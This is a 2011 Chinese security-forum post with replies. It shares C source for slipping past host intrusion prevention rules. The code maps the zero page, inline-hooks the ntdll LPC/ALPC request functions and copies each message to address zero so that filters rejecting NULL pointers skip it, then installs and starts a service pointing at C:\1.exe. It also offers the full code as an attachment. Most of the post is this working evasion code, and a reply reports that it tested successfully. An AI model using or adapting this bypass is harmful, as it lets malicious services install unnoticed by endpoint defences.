首页
社区
课程
招聘
[原创]圣诞礼物:妙用0地址~
发表于: 2011-12-23 12:44 25162

[原创]圣诞礼物:妙用0地址~

2011-12-23 12:44
25162
NULL不是一个无效的参数,但是多少写规则过滤的人,都上来一句if(xxx){}~~
这让人情何以堪啊~直接利用NULL做地址传参的话,就啊哈啊哈~~
上代码,这个方法估计也要被和谐了~
typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
#define LPC_CLIENT_ID CLIENT_ID
#define LPC_SIZE_T SIZE_T
typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
	IN OUT PVOID *BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect );
typedef struct _PORT_MESSAGE {
	union {
		struct {
			WORD DataLength;
			WORD TotalLength;
		} s1;
		ULONG Length;
	} u1;
	union {
		struct {
			WORD Type;
			WORD DataInfoOffset;
		} s2;
		ULONG ZeroInit;
	} u2;
	union {
		LPC_CLIENT_ID ClientId;
		double DoNotUseThisField;       // Force quadword alignment
	};
	ULONG MessageId;
	union {
		LPC_SIZE_T ClientViewSize;          // Only valid on LPC_CONNECTION_REQUEST message
		ULONG CallbackId;                   // Only valid on LPC_REQUEST message
	};
	//  UCHAR Data[];
} PORT_MESSAGE, *PPORT_MESSAGE;
typedef NTSTATUS (__stdcall *T_NtRequestWaitReplyPort)(
	 HANDLE PortHandle,
	 PPORT_MESSAGE RequestMessage,
	 PPORT_MESSAGE ReplyMessage
	);
typedef NTSTATUS (__stdcall *T_NtAlpcSendWaitReceivePort)(IN HANDLE PortHandle,
	 DWORD SendFlags,
	 PPORT_MESSAGE SendMessage ,
	 PVOID InMessageBuffer ,
	 PPORT_MESSAGE ReceiveBuffer ,
	 PULONG ReceiveBufferSize ,
	 PVOID OutMessageBuffer ,
	PLARGE_INTEGER Timeout);
T_NtAlpcSendWaitReceivePort OldCallX;
T_NtRequestWaitReplyPort OldCall;
NTSTATUS __stdcall OnNtRequestWaitReplyPort (
	HANDLE PortHandle,
	PPORT_MESSAGE RequestMessage,
	PPORT_MESSAGE ReplyMessage
	)
{
	//设置
	NTSTATUS ns =0;
	_tprintf(_T("hhh \r\n"));
	RtlCopyMemory(NULL,RequestMessage,RequestMessage->u1.s1.TotalLength);
	ns = ((T_NtRequestWaitReplyPort)OldCall)(PortHandle,NULL,ReplyMessage);
	RtlZeroMemory(NULL,0x1000);
	return ns;
}
NTSTATUS __stdcall OnNtAlpcSendWaitReceivePort(IN HANDLE PortHandle,
	DWORD SendFlags,
	PPORT_MESSAGE SendMessage ,
	PVOID InMessageBuffer ,
	PPORT_MESSAGE ReceiveBuffer ,
	PULONG ReceiveBufferSize ,
	PVOID OutMessageBuffer ,
	PLARGE_INTEGER Timeout)
{
	NTSTATUS ns =0;
	_tprintf(_T("hhh2 \r\n"));
	if (SendMessage)
	{
		RtlCopyMemory(NULL,SendMessage,SendMessage->u1.s1.TotalLength);
	}
	ns = ((T_NtAlpcSendWaitReceivePort)OldCallX)(PortHandle,SendFlags,NULL,InMessageBuffer,ReceiveBuffer,ReceiveBufferSize,OutMessageBuffer,Timeout);
	return ns;
}
void InitNullAddress()
{
	PNTALLOCATE NtAllocateVirtualMemory;
	ULONG addr = 2;
	DWORD dwShellSize=0x1000;
	NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtAllocateVirtualMemory");

	if( !NtAllocateVirtualMemory )
	{
		_tprintf(_T("no ntdll api!\r\n"));
		ExitProcess(-1);
	}

	NtAllocateVirtualMemory( (HANDLE)-1,
		(PVOID *)&addr,
		0,
		&dwShellSize,
		MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE );

	_tprintf(_T("Allocate %08x\r\n"),addr);
	if( (ULONG_PTR)addr )
	{
		_tprintf(_T("\r\n[++] Error Allocating memory\r\n"));
		ExitProcess(-1);
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	T_NtRequestWaitReplyPort Func1;
	T_NtAlpcSendWaitReceivePort Func2;
	//申请出0地址 0x1000 大的块,哦哦哦
	InitNullAddress();
	RtlZeroMemory(NULL,0x1000);
	_tprintf(_T("NULL %08x\r\n"),*(DWORD *)NULL);
	//hook 关键某api
	//XX
	Func1 = (T_NtRequestWaitReplyPort) GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtRequestWaitReplyPort");
	if (Func1)
	{
		InlineHook((void *)Func1,(void *)OnNtRequestWaitReplyPort,(void **)&OldCall);
	}
	Func2 = (T_NtAlpcSendWaitReceivePort)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtAlpcSendWaitReceivePort");
	if (Func2)
	{
		InlineHook((void *)Func2,(void *)OnNtAlpcSendWaitReceivePort,(void **)&OldCallX);
	}
	//产生那个调用!
	//创建服务代码略
	InstallServiceEx(L"bypass011",L"Test3",L"Test3",L"C:\\1.exe",0x3);
	StartServiceEx(L"bypass011");
	return 0;
}


附件里是完整版代码~
bypasships_NULLAddr.rar

严重声明:本帖给出的代码仅供研究学习之用,如果用在他途,各种后果与本人无关。

欢迎交流,QQ群:171797360

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (50)
雪    币: 3107
活跃值: (1249)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
靠,第一个           ~
2011-12-23 12:48
0
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
看看是不是第一。

哎,居然晚了一步。
2011-12-23 12:48
0
雪    币: 88
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
老V 过年大爆料啊,继续给力啊
2011-12-23 12:48
0
雪    币: 207
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
老V啊,,早就等你曝光了
2011-12-23 12:51
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
老V , ......
2011-12-23 12:51
0
雪    币: 485
活跃值: (78)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
7
膜拜V大~~学习
2011-12-23 12:52
0
雪    币: 1115
活跃值: (122)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
8
不错的圣诞礼物,顶一下
2011-12-23 12:53
0
雪    币: 12
活跃值: (767)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
我朝龙年春节应该比圣诞更给力,支持V校继续
2011-12-23 12:53
0
雪    币: 191
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
怪不得没见你在群里扯淡 忙这个呢
2011-12-23 12:53
0
雪    币: 63
活跃值: (17)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
11
学习学习
2011-12-23 12:55
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
12
都写好好多时间了~只是一直没找到,昨天恢复硬盘数据终于找到了~
2011-12-23 12:57
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
完全不懂,只能膜拜.
2011-12-23 12:59
0
雪    币: 66
活跃值: (16)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
前排。123456.
2011-12-23 13:00
0
雪    币: 563
活跃值: (4404)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
我擦 占楼,很猥琐
2011-12-23 13:01
0
雪    币: 292
活跃值: (153)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
16
完全不懂。。。。能稍稍解释一下么, 只是 明白能干什么就行了。
2011-12-23 13:02
0
雪    币: 107
活跃值: (326)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
有点意思啊..............
2011-12-23 13:06
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
18
膜拜V校
2011-12-23 13:11
0
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
19
求 v 大 收留~~~~真心想学习
2011-12-23 13:39
0
雪    币: 636
活跃值: (174)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
20
我来拜 V 神
2011-12-23 13:40
0
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
好YD的代码啊
2011-12-23 13:48
0
雪    币: 1981
活跃值: (771)
能力值: ( LV13,RANK:420 )
在线值:
发帖
回帖
粉丝
22
测试通过,膜拜
2011-12-23 14:17
0
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
23
嘿嘿~~
2011-12-23 14:21
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
呵呵,不错 不错
2011-12-23 14:34
0
雪    币: 13247
活跃值: (3642)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
感谢分享   学习学习
2011-12-23 14:45
0
游客
登录 | 注册 方可回帖
返回
//